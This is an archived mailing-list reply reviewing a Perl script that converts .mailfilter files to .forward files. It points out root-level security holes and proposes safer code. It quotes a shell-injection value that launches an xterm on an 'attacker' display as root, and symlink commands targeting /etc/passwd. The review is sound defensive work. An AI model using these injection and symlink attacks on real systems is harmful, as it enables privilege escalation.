Re: [EXIM] .mailfilter to .forward

Top Page
Delete this message
Reply to this message
Author: Malcolm Beattie
Date:  
To: exim-users
Subject: Re: [EXIM] .mailfilter to .forward
Kevin J Collins writes:
> We've just finished such a move here at Heriot-Watt. Below is a
> perl script written by our Dave Morriss to achieve the
> conversion. Dave's quite happy for this to be distributed. It
> will no doubt need some tailoring to your own needs.


If there's any possibility of malicious (or just mischievous) users
on the system then don't run this: there are a number of security
holes, some more easily exploitable than others.

> --- [ dot-forward.pl ] -------------------------------------------

[...]
>     # Open the .mailfilter file and abort if unable (may not be wise)
>     $mfpath = "$mfdir/$mailfilter";
>     open(MAILFILTER,$mfpath) || die "Unable to open $mfpath: $!\n";

>
>     $fwdaddr = "";

>
>     # Dig out the information we need from the mailfilter file
>     while (<MAILFILTER>) {
>         if (/^ignore pipe "\S+ ([^"]+)";$/) {
>         # Here we have found the filtering info and picked out the
>         # destination address
>         $fwdaddr = $1;
>         $fwdpath = "$mfdir/$forward";

>
>         print "$fwdpath => $fwdaddr\n";

>
>         # Create the forward file (or re-create if already existing)
>         system("$echo $fwdaddr > $fwdpath");


For a start, $fwdaddr is under user control and putting something
like
    true; xterm -display attacker:0 &; true"
in the mail filter file will let the user run any command they like
as root. Then note that you're using shell redirection as root to
redirect output to a name under the user's control. So
    ln -s /etc/passwd .forward
or such like will cause /etc/passwd to be overwritten with the
contents of the user's chosen text.


>         # If the file exists change ownership, otherwise complain
>         if (-f "$fwdpath") {
>         # New file is owned by the sameuid/gid as .mailfilter
>             system("$chown $uid.$gid $fwdpath");


This is an even wider hole. A user who does
    ln -s /etc/passwd .forward
will then find that /etc/passwd gets chowned to them. Oops.
(It's also calling out to a separate process instead of simply using
chown($uid,$gid,$fwdpath) for some reason.)


Even with all the above fixed, there are still plenty of races in
between the steps so that a user can have a valid or non-existent
.forward one instant and then a symlink pointing somewhere nasty the
next. To rewrite this program safely would at the very least need
something based on
    unlink($fwdpath);
    sysopen(FWD, $fwdpath, O_CREAT|O_EXCL|O_WRONLY) or ...
and (unless you want to mess about with fchown() which isn't very
portable and may be tricky from Perl), do the whole thing after
doing something like
    $) = "$gid $gid";
    $> = $uid;
and ensure you do all the user's file manipulation with only the
privileges of the user.


--Malcolm

--
Malcolm Beattie <mbeattie@???>
Unix Systems Programmer
Oxford University Computing Services

--
*** Exim information can be found at http://www.exim.org/ ***